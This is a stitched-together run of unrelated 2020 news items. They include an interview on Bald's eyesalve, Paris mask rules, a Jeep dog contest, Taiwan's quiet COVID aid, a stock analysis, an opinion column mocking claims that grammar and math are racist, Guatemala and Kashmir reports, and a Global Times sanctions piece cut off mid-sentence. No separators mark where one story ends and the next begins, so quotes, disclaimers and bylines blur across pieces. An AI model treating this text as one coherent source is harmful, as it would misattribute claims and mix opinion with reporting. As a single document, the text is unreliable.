Kateryna Kon/Shutterstock.com What are the next steps in your research into natural antimicrobials? The two next steps for Balds eyesalve are first, to understand exactly what compounds make it antibacterial, and second, to continue our work on checking that this mixture is safe for human use. We are also working on other natural remedies, and we hope to test these in a similar way to how we have investigated Balds eyesalve. Where can readers find more information? About Jess Furner-Pardoe I am in the 2nd year of my PhD focusing on understanding the chemistry of complex historical remedies. About Dr. Freya Harrison I am an Associate Professor of Microbiology at the University of Warwick. My team focusses on understanding the biology of bacterial biofilms in chronic infections and finding new ways to disrupt them. We are especially interested in making more accurate lab models of biofilms in lung and wound infections, without using live animals, and in using these to explore possible new antibiofilm treatments. I also helped to found the Ancientbiotics consortium, which seeks to study, reconstruct, and test historical infection remedies. About Dr. Blessing Anonye I am a Lecturer in Medical Microbiology in the School of Medicine, University of Central Lancashire, Preston, and also a Visiting Research Fellow at the University of Warwick. I am generally interested in the study of pathogens, antimicrobial resistance, and understanding the gut microbiota in health and disease. I am particularly fascinated by research on how products from nature could potentially be used as alternatives to traditional antimicrobials. PARIS (AP) From the most romantic spots along the Seine to popular shopping streets, residents and visitors in Paris were required to wear face masks starting Monday in some outdoor areas of the French capital amid an uptick in reported coronavirus cases. Police are authorized to issue a 135-euro ($159) fine to people who do not follow the new public health requirement. One location covered by the measure is the banks of the Canal Saint-Martin, among the city's most popular outdoor spots for lunch or an aperitif with friends. In the morning when there is nobody on the canal, I think it is a bit of a drastic measure," lawyer Helene Rames said after the face mask rule took effect. But it is true that at night and on the weekends you can see many young people here close to each other, which is scary," she added. "If its for the health of our elders then lets wear it. Wearing a face mask outdoors also is required at the city's open-air markets, at popular tourist sites like Notre Dame Cathedral and Montmartre district neighborhoods, on several typically crowded streets and in parts of the Paris suburbs, authorities said. A similar requirement is being applied in Marseille, Frances second-largest city, and dozens of other tourist destinations in France, including the Riviera resort of Saint-Tropez. A nationwide decree already requires people to wear masks in all stores and other indoor public places. French health authorities warned Monday that the country is going backward in its battle against the pandemic. After sharply curtailing the spread of the virus with a strict two-month lockdown, France has reported more than 10,000 new confirmed cases over the past week, and more than 300 virus clusters are currently active, according to figures released Monday by the national health agency. France has stepped up testing in recent weeks, but the rise in infections is outpacing the rise in testing. Of all tests last week, 2.1% were positive, the highest rate since May. The number of patients in intensive care is also creeping upward, but at 396 is still far from the highs of more than 7,000 at the height of France's crisis in April. Story continues France has reported over 30,300 virus-related deaths since the start of the pandemic, among the highest numbers in the world. The health agency warned Monday that the circulation of the virus is intensifying, notably among young people and in certain regions and the cities of Paris and Marseille. It urged people to respect health safety measures so that we can benefit from our vacations while protecting ourselves and others and especially the most fragile among us. ___ Oleg Cetinic and Angela Charlton in Paris contributed. ___ Follow AP pandemic coverage at http://apnews.com/VirusOutbreak and https://apnews.com/UnderstandingtheOutbreak The Jeep brand announced the #JeepTopCanine finalists today, August 11. Chosen from thousands of entries, the brand narrowed it down to eight finalists. Fans can now vote for their favorite at www.JeepTopCanine.com. The winning dog will be named the first-ever #JeepTopCanine on National Dog Day, Wed., Aug. 26 and will be the newest (and cutest) face of the Jeep brand across its social media channels, appearing in exclusive content for the next year, until National Dog Day 2021. Fans can vote for their favorite pup from August 11 through August 18 at www.JeepTopCanine.com: Bear, Northborough, Massachusetts Floyd, San Diego, California Macy, Edmeston, New York Louis, Edwards, Illinois Luna, Pflugerville, Texas Stark, Ivyland, Pennsylvania Rollo, Columbus, Ohio Peaches, Madison, Virginia Jeep enthusiasts are known to have their dogs buckled up with them as they seek out adventure, proudly featuring them along with their favorite Jeep vehicle in social media content through the years. This year, Jeep owners, fans and followers were able to post the best photo of their pup with their Jeep vehicle, from July 20 to August 3, and tag it with #JeepTopCanine on Instagram and Twitter, or upload it to www.JeepTopCanine.com, to enter. For more information on the #JeepTopCanine search, visit www.JeepTopCanine.com. As a true cult brand, the #JeepTopCanine search is one more way for the Jeep brand to give its followers a chance to be a part of its legacy. Jeep Brand Built on nearly 80 years of legendary heritage, Jeep is the authentic SUV with class-leading capability, craftsmanship and versatility for people who seek extraordinary journeys. The Jeep brand delivers an open invitation to live life to the fullest by offering a full line of vehicles that continue to provide owners with a sense of security to handle any journey with confidence. The Jeep vehicle lineup consists of the Cherokee, Compass, Gladiator, Grand Cherokee, Renegade and Wrangler. To meet consumer demand around the world, all Jeep models sold outside North America are available in both left- and right-hand drive configurations and with gasoline and diesel powertrain options. Jeep is part of the portfolio of brands offered by global automaker Fiat Chrysler Automobiles. For more information regarding FCA (NYSE: FCAU/ MTA: FCA), please visit www.fcagroup.com. Follow Jeep and FCA news and video on: Company blog: http://blog.fcanorthamerica.com Media website: http://media.fcanorthamerica.com Jeep brand: www.jeep.com Facebook: www.facebook.com/jeep or https://www.facebook.com/FiatChrysler.NorthAmerica/ Instagram: www.instagram.com/jeep or www.instagram.com/FiatChrysler_NA Twitter: www.twitter.com/jeep or www.twitter.com/FiatChrysler_NA YouTube: www.youtube.com/thejeepchannel or www.youtube.com/fcanorthamerica SOURCE FCA Related Links http://www.fcanorthamerica.com TAIPEI, Taiwan Taiwan sent COVID-19 assistance to foreign countries surreptitiously to avoid protests from China, its foreign minister said Tuesday during a meeting with the highest-level American official to visit the island in four decades. China claims Taiwan as its own territory and has sought to isolate it diplomatically, including barring its participation in forums such as the World Health Assembly. The trip by U.S. Health and Human Services Secretary Alex Azar comes against the backdrop of a sharp downturn in relations between China and the U.S. and Azar said in his remarks that the U.S. supported Taiwans participation in international health forums. Chinas attempts to isolated Taiwan has compelled the island at times to keep its donations of masks and personal protective equipment under the radar, Foreign Minister Joseph Wu said. Truth is, we even had to deliver these supplies quietly in some occasions to keep the recipients free from trouble, trouble from Beijing," Wu said. Taiwan has brought its virus outbreak under control, and Wu said the island has donated 51 million masks overseas, including 10 million to the U.S., along with other items of personal protective equipment. He did not name the other countries to which Taiwan has made quiet donations or give other details. Just 15 countries maintain formal diplomatic ties with Taiwan, and China has sought to peel away its remaining allies. Wu said Chinese pressure to accept political conditions for bringing Taiwan under Beijings control has made life increasingly difficult." However, acquiescence would merely turn Taiwan into another Hong Kong, Wu said, referring to recent arrests of media figures and pro-democracy activists under a new national security law being enforced in the semi-autonomous Chinese territory. We know this is not just about Taiwans status, but about sustaining democracy in the face of authoritarian aggression," Wu said. Azar described political bullying" over Taiwans exclusion from the World Health Organization in 2018 that blocked a million-dollar Taiwanese contribution that would have helped combat an Ebola outbreak in Congo. Especially during a pandemic, but at all times, international organizations should not be places to play politics," Azar said. While the U.S. maintains only unofficial ties with Taiwan in deference to Beijing, it remains the islands most important ally and provider of defensive arms. A 2018 U.S. law urged Washington to send increasingly high-level officials to Taiwan in contrast to past years when such visits were extremely rare. Thus, Azar is the highest-level American official to visit Taiwan since their break in formal diplomatic ties in 1979. Relations between China and the U.S. have deteriorated over issues ranging from the South China Sea to TikTok, Hong Kong and trade. In a throwback to the Cold War, the two recently ordered tit-for-tat closures of consulates in Houston and Chengdu and rhetorical sniping has become a daily occurrence. Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor If we want to find a potential multi-bagger, often there are underlying trends that can provide clues. Ideally, a business will show two trends; firstly a growing return on capital employed (ROCE) and secondly, an increasing amount of capital employed. If you see this, it typically means it's a company with a great business model and plenty of profitable reinvestment opportunities. That's why when we briefly looked at London Security's (LON:LSC) ROCE trend, we were pretty happy with what we saw. Understanding Return On Capital Employed (ROCE) For those that aren't sure what ROCE is, it measures the amount of pre-tax profits a company can generate from the capital employed in its business. The formula for this calculation on London Security is: Return on Capital Employed = Earnings Before Interest and Tax (EBIT) (Total Assets - Current Liabilities) 0.19 = UK24m (UK156m - UK27m) (Based on the trailing twelve months to December 2019). Therefore, London Security has an ROCE of 19%. In absolute terms, that's a satisfactory return, but compared to the Machinery industry average of 12% it's much better. See our latest analysis for London Security roce Historical performance is a great place to start when researching a stock so above you can see the gauge for London Security's ROCE against it's prior returns. If you want to delve into the historical earnings, revenue and cash flow of London Security, check out these free graphs here. How Are Returns Trending? While the returns on capital are good, they haven't moved much. Over the past five years, ROCE has remained relatively flat at around 19% and the business has deployed 24% more capital into its operations. 19% is a pretty standard return, and it provides some comfort knowing that London Security has consistently earned this amount. Over long periods of time, returns like these might not be too exciting, but with consistency they can pay off in terms of share price returns. Story continues The Bottom Line In the end, London Security has proven its ability to adequately reinvest capital at good rates of return. In light of this, the stock has only gained 17% over the last five years for shareholders who have owned the stock in this period. So because of the trends we're seeing, we'd recommend looking further into this stock to see if it has the makings of a multi-bagger. London Security does have some risks though, and we've spotted 1 warning sign for London Security that you might be interested in. For those who like to invest in solid companies, check out this free list of companies with solid balance sheets and high returns on equity. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Have feedback on this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com. Chennai, Aug 11 : Political leaders in Tamil Nadu on Tuesday welcomed the Supreme Court judgement giving equal rights of inheritance to daughters in ancestral property. Chief Minister K. Palaniswami in a tweet said he is happy to note that the Supreme Court has said that daughters have the same rights as sons in ancestral property. The judgement protects social justice and is a welcome one, he said. Deputy Chief Minister O. Panneerselvam said the judgement further strengthens women's advancement. DMK President M.K. Stalin too welcomed the apex court's decision. He said the judgement lays the foundation for women to go up in life as empowered persons. The apex court on Tuesday ruled that daughters have equal rights in the Hindu Undivided Family (HUF) ancestral property even if their father had died before 2005. The court held that a daughter gets coparcenary rights in a property even if her father had passed away prior to the amendment made to the Hindu Succession Act in 2005. In other words the 2005 amendment is valid retrospectively. Twitter is drawing the eye of bullish options traders amid reports that the social media company has had preliminary talks regarding a possible takeover of TikTok's U.S. operations. President Donald Trump recently signed an executive order banning U.S. transactions with TikTok's parent company, ByteDance, which would essentially shut down TikTok in the U.S. if it were not sold to an American company. Last week, Microsoft confirmed that it has also held talks about the possibility of acquiring TikTok, which could potentially present problems for Twitter in its pursuit of the popular social sharing app. However, Twitter options activity in Monday's session painted a very optimistic picture that some kind of deal could get done. "We saw double the average daily call volume, nearly 160,000 calls traded. Most of those were short-dated: the 38, 39 and 40-strike calls going out to August expiration," Michael Khouw, chief investment officer at Optimize Advisors, said Monday on "Fast Money." August expiration is just two weeks from this coming Friday, falling well within the time frame during which Twitter would need to complete a TikTok takeover deal, which may be a signal that these traders are betting on speculation to heat up as the Sept. 15 executive order deadline approaches. "Buyers of those 40-calls were paying about 75 cents," said Khouw, "That would be a bet that the stock rises about 8.5%, but it's understandable why they're using options [to make that bet]. Options prices are relatively cheap in Twitter. ... This is a way for those investors to speculate on it, but not risk a great deal." Twitter shares were slightly higher in Tuesday's session. Disclaimer Email Whatsapp Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Have you heard the latest? Grammar has now been deemed racist, as has been math. And should you dare question these new insights, that makes you a racist too. Obviously! Fact checkers have challenged the claim that, last month, Rutgers University declared grammar to be racist. But such claims have been made before. As noted in a February 21, 2017 article, The University of Washington produced an antiracist poster which insists American grammar is racist and an unjust language structure, promising to prioritize rhetoric over grammatical correctness. As explained on the universitys Tacoma-based website, Racism is the normal condition of things. Linguistic and writing research has shown clearly for many decades that there is no inherent standard of English. Language is constantly changing. These two facts make it very difficult to justify placing people in hierarchies or restricting opportunities and privileges because of the way people communicate in particular versions of English. But theres more. As reported by Prof. Walter Williams on the Daily Signal, September 11, 2019, Just when we thought colleges could not spout loonier ideas, we have a new one from American University. They hired a professor to teach other professors to grade students based on their labor rather than their writing ability. The newly-hired professor is Asao B. Inoue, who, interestingly enough, has also served as a professor at the aforementioned University of Washington in Tacoma. Williams notes that, Inoue believes that a persons writing ability should not be assessed, in order to promote anti-racist objectives. Inoue taught American Universitys faculty members that their previous practices of grading writing promoted white language supremacy. Inoue is also affiliated with Arizona State University, where he serves as a professor and the associate dean for Academic Affairs, Equity, and Inclusion in the College of Integrative Sciences and Arts at Arizona State University. His research focuses on antiracist and social justice theory and practices in writing assessments. Reflective of Prof. Inoues work is a lecture on, Creating Antiracist Writing Assessment Ecologies in Writing Courses. All clear. So, while the headline about Rutgers may have been inaccurate, the claim that grammar is racist was not. To be sure, students who are deprived of solid educational opportunities in their earlier years will likely have poorer grammatical skills when they reach college. And many of those students are people of color. But one of the purposes of education is to correct the errors we picked up through our environment and upbringing as well as to sharpen our skills in reading, writing, comprehending, and communicating. To declare proper grammar racist is as wrongheaded as it is counterproductive. As for math, a story posted on August 9, 2020, on Campus Reform announced that, Math professors and academics at top universities, including Harvard and the University of Illinois, discussed the Eurocentric roots of American mathematics on Twitter. They asserted that the statement 2 plus 2 equals 4 is rooted in Western definitions of mathematics. As Ben Zeisloft reported, Laurie Rubel, who teaches math education at Brooklyn College, says that the idea of math being cultural neutral is a myth, and that asking whether 2 plus 2 equals 4 reeks of white supremacist patriarchy. To quote her in full: along with the of course math is neutral because 2+2=4 trope are the related (and creepy) math is pure and protect math. reeks of white supremacist patriarchy. i'd rather think on nurturing people & protecting the planet (with math in service of them goals). She added, the idea that math (or data) is culturally neutral or in any way objective is a MYTH. i'm ready to move on with that understanding. who's coming with me? These sentiments were confirmed by other professors and graduate students, as cited by Zeisloft. But of course! How could we miss something so obvious? Its as clear as 2+2=4. (Oops! I just exposed my inherent racism. Of course, my use of proper grammar throughout this article already revealed my innate white supremacism.) But this claim that math is somehow racist is also not new. According to Lee Ohanian, writing for the Hoover Institution on October 29, 2019, students in Seattle schools will be taught how Western Math is used as a tool of power and oppression, and that it disenfranchises people and communities of color. They will be taught that Western Math limits economic opportunities for people of color. They will be taught that mathematics knowledge has been withheld from people of color. In response, Ohanian commented, If you are struggling to understand the logic of this, you are not alone. For the life of me, I dont know how the Pythagorean theorem, for example, or Euclidean geometry, more broadly, oppress people or communities of color, or how these foundations of mathematics have been appropriated by Western culture. (For the alleged racist way in which data is processed and used in America, see here and here.) But the claims that grammar and math are racist should come as no surprise. Thats because subjects like geography were already branded misogynist several decades ago, out of which the field of feminist geography arose. And so, under the guise of objectivity, an extreme form of subjective scholarship began to arise on our campuses, continuing in different forms to this day. As conveniently summarized on Wikipedia, Feminist geography emerged in the 1970s, when members of the women's movement called on academia to include women as both producers and subjects of academic work. Feminist geographers aim to incorporate positions of race, class, ability, and sexuality into the study of geography. Not surprisingly, The discipline has been subject to several controversies. (Who would have thought?) There was a day when education started with the so-called three-Rs: Reading, [w]Riting, and Rithmetic. Today, the three Rs might better be described as Revisionist, Radical, and Ridiculous. Am I exaggerating? I say we do our best to provide solid education for all of our citizens, thereby leveling much of the playing field, rather than chase academic chimeras. Its as simple as ABC. The French director of an NGO in Guatemala was killed Monday in an armed attack in the northeast of the country, a human rights organization said. Benoit Maria was the director of the agriculture and animal health NGO Agronomes et Veterinaires Sans Frontieres (AVSF). "We denounce the murder of human rights defender Benoit Maria," tweeted the Guatemalan Unit for the Protection of Human Rights Defenders (UDEFEGUA), calling for a public investigation. According to local media, Maria was driving a van on a road near the indigenous village of San Antonio Ilotenango, 85 kilometers (53 miles) northwest of the capital Guatemala City, when he was shot dead. The motive for the attack is not yet known. According to UDEFEGUA coordinator Jorge Santos, Maria was the AVSF head and had been living in Guatemala for more than 20 years, supporting agricultural projects for the indigenous Mayan Ixil communities. Maria had also participated in the 2011 creation of Ixil University, in the department of Quiche, dedicated to the ancestral knowledge of indigenous people. Indo Trans Logistics is the first Vietnamese logistics firm receiving a financing package from the IFC Vietnams logistics sector has enjoyed strong growth over the past few years. This can be attributed to the record-high foreign investment mainly in manufacturing and processing industries both require a strong logistics function and booming local consumption. However, the logistics sector is fragmented with more than 95 per cent of service providers being local small- and medium-sized enterprises with modest operations and lower competitiveness. Consequently, a few players with foreign investment lead the market, providing high value-added services. In view of this, the government is implementing a comprehensive plan to boost the competitiveness of the domestic logistic segment. The IFCs investment first in the Vietnamese logistics sector is especially timely when long-term funding is not readily available due to the COVID-19 situation. This funding will help Indo Trans Logistics (ITL), one of the leading domestic logistic companies in Vietnam, transform and grow by acquiring new assets, developing new warehouses and facilities, and deploying advanced information technology systems. Further, this will enable ITL to provide higher quality and sophisticated logistics services to its customers including local manufacturers and small- and medium-sized enterprises. The IFCs long-term funding and international expertise, especially in the context of the current pandemic, is a highly valuable support which will certainly enable us to improve the efficiency of the ITLs existing logistic assets and to expand our network and business portfolio to better serve our customers, said Ben Anh, CEO of ITL. In addition, the IFC will also help the company improve its environmental, social, and corporate governance standards for sustainable development. High logistics costs impact the overall cost of doing business and negatively affect Vietnams competitiveness both globally and domestically. This is why, despite uncertainties amid the ongoing pandemic, the IFC is steadfast in its commitment to support essential investment in Vietnams logistics supply chain to help facilitate more efficient and competitive trade, said Kyle Kelhofer, IFC country manager for Vietnam, Cambodia, and Lao PDR. He added, The IFCs investment in companies like ITL aims to support the growth of domestic private logistics firms capable of providing comprehensive and efficient logistics services. This will help improve the sectors capacity to serve the growing higher value-added manufacturing and processing industries, which require a more sophisticated, efficient, and lower-cost logistic function. YEREVAN, AUGUST 11, ARMENPRESS. In the aftermath of the devastating explosion in Beirut that took place less than a week ago, AGBU Central Board engaged in worldwide appeals for urgent contributions to accelerate relief for Lebanese Armenians with a designated relief fund. Immediate and generous support from across the globe resulted in over one million dollars raised over the weekend with both benefactors and grassroots donors rising to assist. The first million was doubled by a matching contribution from Chairman of the AGBU Council of Trustees, Vatche and Tamar Manoukian, with the additional commitment to match all subsequent funds generated in the coming weeks to this urgent effort, ARMENPRESS was informed from AGBU website. Among the first large contributions received of $100,000 or more include: Elie and Elzbieta Akilian (USA), Yervant Demirjian (USA), Haig and Elsa Didizian (UK), Nigol Koulajian (USA), Levon and Claudia Nazarian, Joseph and Jenny Oughourlian (UK), Berge and Vera Setrakian (USA), Sam and Silva Simonian (USA), Sinan and Angele Sinanian (USA) and an anonymous donor (USA). AGBU expresses gratitude to all of the benefactors as well as our remarkable grassroots donors, including young professionals and supporters from around the world. We have been impressed by the surge of impressive contributions in less than one week noted AGBU President Berge Setrakian. It is together that we can address the vast needs on the ground through our dedicated volunteer AGBU Disaster Relief Unit executing unprecedented work on the ground. AGBU is appealing to all Armenians worldwide to be a lifeline to their compatriots in Lebanon by donating quickly and generously to maximize the matching gift opportunity. Due to the current complications of regular checks in the mail, online or phone donations are appreciated. Learn more about the relief fund established at Citibank (NY) and the work it serves visit: www.agbugiving.org/lebanon or call 212-319-6383 (M-F, 9am to 5 pm EST). For wire transfers, email [email protected]. New Delhi, Aug 11 : The Board of Governors in a supersession of the Medical Council of India have declared that Pakistan is in illegal occupation of Indian territory in Jammu and Kashmir and Ladakh and any qualification obtained from these areas will not be recognised to allow the practice of medicine in India. The signaling on medical degrees emanating from PoK are akin to the Indian Meteorological Department (IMD) giving weather bulletins for areas in POJKL. In a notice issued on Monday, R.K. Vats, Secretary General of the body, said, "This is to inform all concerned that the entire territories of UT of Jammu and Kashmir and Ladakh are an integral part of India. Pakistan is in illegal and forcible occupation of a part of the territory". "Accordingly, any medical institution in Pakistan Occupied Jammu and Kashmir and Ladakh requires permission/recognition under Indian Medical Council Act, 1956. Such permission has not been granted to any medical college in POJKL," Vats said. "Therefore, any qualification obtained from medical colleges located in these illegally occupied areas of India shall not entitle a person for grant of registration under the Indian Medical Council Act, 1956 to practice modern medicine in India," he said. It is not clear as to what triggered this notice and if any applications were received but it is amply clear that India's top medical regulator is laying down jurisdiction claims on medical colleges in POJKL. This is another strong signal to Pakistan that the areas occupied by it are an integral part of India. The IMD has already started giving weather bulletins for areas in POJKL including Gilgit Baltistan, Mirpur and Muzaffarabad. The Information and Broadcasting Ministry had announced that DD News and All India Radio will broadcast temperatures and weather reports of Mirpur, Muzaffarabad and Gilgit in Pakistan occupied Kashmir (PoK) in their prime-time news bulletins. The IMD had said that these cities are part of India and that it would give out their weather updates in its daily bulletin. With Metro Manila and surrounding provinces (Bulacan, Laguna, Cavite, and Rizal) under Modified Enhanced Community Quarantine (MECQ) once more, public transportation has subsequently been suspended as well. As a result, front-liners and healthcare workers that dont have private modes of transportation are having a hard time getting to and from their homes and respective clinics/hospitals. To give them the much-needed support in mobility, Honda Cars Philippines, Inc. (HCPI) has lent out a total of 18 vehicles to various medical facilities in Laguna and Cavite. Specifically, vehicles comprising of the City, Brio, Jazz, Civic, Mobilio, BR-V, HR-V, and CR-V models were lent out to seven hospitals in the two provinces. These hospitals include the New Sinai MDI Hospital and The Medical City South Luzon in Santa Rosa, Laguna; Unihealth-Southwoods Hospital and Medical Center and Perpetual Help Medical Center in Binan, Laguna; Global Care Medical Centers in Canlubang and Cabuyao, Laguna; and Carmona Hospital and Medical Center in Carmona, Cavite. The First Lady, Mrs Rebecca Akufo-Addo, Tuesday paid a courtesy call on Ga chiefs within the Greater Accra Region to show them solidarity as they prepare for their upcoming Homowo festival. She also distributed assorted food items to the chiefs and people to enable them to mark the annual festival in a grand style. Among the various palaces, she visited within the Ga Mashie, were the Ga Mantse Stool House, Sempe Mantse Palace, Akumanjen Mantse, Palace, Otublohum Mantse Palace, and Asere Mantse Stool House. The rest were Nii Tetteh Ankamah We, Nae We, Korle We, Sakumo We, Asafoatse Mankata and the Chorkor Mantse. Also, among the items donated were bags of maize, bags of palm nuts, alcoholic and non-alcoholic beverages, packs of bottled water, and undisclosed sums of money. Mrs Akufo-Addo, was accompanied on the visit by Ms Shirley Ayorkor Botchwey, Minister of Foreign Affairs and Member of Parliament (MP) for Anyaa Sowutuom, Ms Elizabeth Sackey, Deputy Greater Accra Regional Minister, Ms Irene Naa Torshie, Administrator of the District Assembly Common Fund and former MP for Tema West, and Nii Adjei Sowah, the Chief Executive Officer of the Accra Metropolitan Assembly. There were also the NPP Parliamentary candidate for Odododoidoo, Nii Lante Bannerman, and Chief Executive Officer of Coastal Development Authority, Mr Jerry Shaibu Ahmed. At a gathering to mark the beginning of the celebration, the First Lady reiterated the importance of traditional festivals such as the Homowo, which she said, offered the platform to deepen ancestral knowledge and strengthen kinship bonds. She commended the people of Ga Mashie for keeping the peace of the area, and a united front for the important Festival, saying, a united traditional front is what elicits economic investments, which expedites development in any community. She urged the people to take advantage of the many social intervention policies being implemented by the New Patriotic Party (NPP) government, including the Free Senior High School policy, to break the vicious cycle of semi-literacy and poverty in their communities. Mrs. Akufo-Addo, pledged her Rebecca Foundations continuous determination and support to complement the governments efforts to enhance the lives of the citizens. She said she would, therefore, continue with the Foundations initiatives currently being implemented in various communities including the Terema project (supporting women to improve their economic status), Because I want to Be project (keeping girls in school), and the Learning to Read (improving child literacy), as well as the construction of health facilities and supply of hospital equipment to needy institutions, all targeted to improve the socio-economic conditions of the people. She wished all the Ga people the very best of the celebrations and urged them to do well to mark it amidst the observance of the COVID-19 hygienic protocols and to limit the sprinkling of Kpekple ritual to their homes. She also appealed to the people to participate in the December elections by voting for the NPP to continue with its many developmental programmes and social intervention policies for all Ghanaians. The various Ga chiefs, elders and clan leaders, including King Dr. Tackie Teiko Tsuru II, Ga Mantse, expressed their appreciation to the first lady, who is also a Ga, for coming in to support her people to celebrate the 2020 Homowo festival grandly. King Dr. Tackie Teiko Tsuru II, expressed the determination of the Chiefs to ensure that the people conform to the hygienic protocols. He appealed to the first lady to support the Ga Girl Child Education an initiative being promoted by the Ga Traditional Council, aimed at specifically tackling and promoting the development of the girls in the Ga communities. The Homowo Festival is celebrated by the Ga people to remind themselves of their long battle against famine years ago and how the rains finally came to ease their burden. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video A new Meghan and Harry biography Finding Freedom has revealed how close Prince Harry and his cousin Princess Eugenie are. The book, authored by Omid Scobie and Carolyn Durand, says the pair are the closest of friends and even used to go on double dates - after which Eugenie reportedly described Meghan as just the tonic for her cousin Harry. The pair, who grew up together and would occasionally go on family holidays, are said to have one of the most natural connections due to their similar personalities. The book notes that Princess Eugenie introduced Prince Harry to his ex-girlfriend Cressida Bonas and describes how the cousins used to party together at London clubs Mahiki and Tonteira. (Princess Eugenies husband Jack Brooksbank is a former manager of Mahiki.) Getty Images It also claims Harry regularly goes to Princess Eugenie for relationship advice and told Eugenie early on about his relationship with Meghan. Double dates included a Halloween party at Torontos Soho House where Meghan and Harry wore Venetian masks to disguise their identities. Princess Eugenie and Brooksbank continued to be a fixture in the couples lives even after they were married, as they joined Meghan and Harry for a lavish holiday hosted at George and Amal Clooneys Lake Como villa. It was also claimed they had made regular visits to Frogmore Cottage to see the Sussexes and their son Archie Harrison Mountbatten-Windsor. Getty Images That said, tensions are said to have arisen during Princess Eugenie and Brooksbank's 2018 wedding where the book claims family members found out about [Meghans] pregnancy. According to the book, Princess Eugenie felt the couple should have waited to share the news. Finding Freedom is available in bookstores and online today. Northrook, IL -- (SBWIRE) -- 08/10/2020 -- According to the new market research report "Document Camera Market with COVID-19 Impact Analysis By Product Type (Portable and Non-portable), Connection Type (Wired and Wireless), End User (Education, Corporate, and Others), and Geography- Global Forecast to 2025", published by MarketsandMarkets, the Document Camera Market is expected to grow from USD 370 million in 2020 to USD 545 million by 2025 it is expected to grow at a CAGR of 8.1% from 2020 to 2025. The document camera market had been witnessing growth in the past years, mainly owing to the high adoption of document cameras from the education sector. However, COVID-19 has led to a decline in the growth rate of the document camera market. This is because the educational institutions and corporate offices, which are the major demand generators of document cameras, are currently non-operational in various countries, thereby negatively impacting the demand for document cameras. Additionally, COVID-19 has also disrupted the supply chain of document cameras, which is hindering the manufacturing and distribution of document cameras. Ask for PDF Brochure: https://www.marketsandmarkets.com/pdfdownloadNew.asp?id=208385482 Portable segment to hold the largest share of the document camera market, by type, in 2020 Portable segment will lead the document camera market, by product type, in terms of size, in 2020. Portable document cameras have attractive features such as easy storage, convenient placement on a table or other areas, and easier management of the equipment, which has led to its high popularity in the document camera market. The market for wireless document cameras to grow at the highest CAGR during the forecast period The document camera market, based on connection type, has been segmented into wired and wireless. Among these types, the market for wireless connection type document camera is expected to witness the highest growth during the forecast period. Wireless connectivity document cameras give the user flexibility to place and point the camera anywhere in the room as well as move freely in the room. This is one of the key factors leading to the upsurge in the demand for wireless connectivity document cameras. Browse in-depth TOC on "Document Camera Market" 107 Tables 45 Figures 142 Pages Inquiry Before Buying: https://www.marketsandmarkets.com/Enquiry_Before_BuyingNew.asp?id=208385482 North America to hold the largest share of document camera market by 2020 North America is expected to hold the largest share of the document camera market by 2020. The US leads the market in North America owing to its well-established economy that encourages government and private investments in new technologies. Europe is expected to account for the second-largest share of the document camera market during the forecast period. The UK and Grmany are significant demand-generating countries for document camera in this region. A few key players operating in the document camera market are AVer Information (Taiwan), WolfVision (Austria), ELMO Company (Japan), Seiko Epson (Japan), Lumens Digital Optics (Taiwan), IPEVO (US), and HUE (UK). Related Reports: Interactive Whiteboard Market by Screen Size (Up to 69", 70"-90", Above 90"), Technology (Infrared, Resistive, Capacitive, Electromagnetic), End User (Education, Corporate, and Government), and Geography - Global Forecast to 2023 About MarketsandMarkets MarketsandMarkets provides quantified B2B research on 30,000 high growth niche opportunities/threats which will impact 70% to 80% of worldwide companies' revenues. Currently servicing 7500 customers worldwide including 80% of global Fortune 1000 companies as clients. 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MarketsandMarkets's flagship competitive intelligence and market research platform, "Knowledge Store" connects over 200,000 markets and entire value chains for deeper understanding of the unmet insights along with market sizing and forecasts of niche markets. Contact: Mr. Aashish Mehra MarketsandMarkets INC. 630 Dundee Road Suite 430 Northbrook, IL 60062 USA: +1-888-600-6441 US sanctions pose quandary for banks operating in Hong Kong Global Times By GT staff reporters Source: Global Times Published: 2020/8/10 21:47:33 Moves have no legal standing in HKSAR: analysts Fresh US sanctions against Chinese officials, having been defined by the Hong Kong Monetary Authority (HKMA) as lacking legal standing in the special administrative region (SAR), could still put some locally operated foreign banks with strong links to the US in a quandary, financial industry watchers said Monday. As part of an escalating anti-China pattern, the US Department of the Treasury on Friday announced sanctions on 11 Chinese mainland and Hong Kong officials, in-cluding HKSAR Chief Executive Carrie Lam, for allegedly undermining the city's autonomy. "All property and interests in property of the individuals named above, and of any entities that are owned, directly or indirectly, 50 percent or more by them, individually, or with other blocked persons, that are in the US or in the possession or control of US persons, are blocked and must be reported to" the Office of Foreign Assets Control, according to the US announcement. The sanctions have no legal standing, according to local laws, and consequently there is no need for locally operated banks to take heed of the US' demands, Francis T. Lui, professor emeritus of the Hong Kong University of Science and Technology, told the Global Times Monday. The US sanctions constitute a unilateral move by a foreign government, and they are not part of the UN's international targeted financial sanctions regime. Thus they have no legal effect in Hong Kong, the HKMA said late Saturday, according to the Xinhua News Agency. The HKMA has explained related requirements to all accredited institutions and li-censees of payment and stored value facilities and notified accredited institutions of the need to treat clients fairly when evaluating whether to continue offering services to the sanctioned individuals or entities. The US has long been accustomed to the exercise of long-arm jurisdiction, but the US government might not necessarily go so far as to force banks in Hong Kong to be sub-ject to its jurisdiction, which could easily prompt countermeasures, Lui said. With a substantial vested interest in the city's financial services sector, the US tends to base its actions on whether they truly comply with its own interests, he went on to say, noting however that banks with operations in the US, such as HSBC, might have to take sides. Locally operating banks are intensifying scrutiny of their customers and one unidenti-fied US bank is moving to suspend accounts linked to some sanctioned officials to avoid running afoul of US sanctions, according to Bloomberg. "Two major Chinese banks are assessing what needs to be done based on their risk tolerance and compliance requirements," the report said, without identifying the banks. Requests for comment sent to foreign banking giants with operations in the city, in-cluding Standard Chartered and HSBC, were unanswered as of press time. The sanctions would certainly have an impact on the local financial market, said Hong Hao, managing director and head of research at BOCOM International, a subsidiary of Bank of Communications. For banks operating in both Hong Kong and the US, particularly HSBC, if they vio-late US rules, there is a chance that the US will sanction these banks' operations on US turf, Hong told the Global Times Monday. The latest move therefore creates ripples 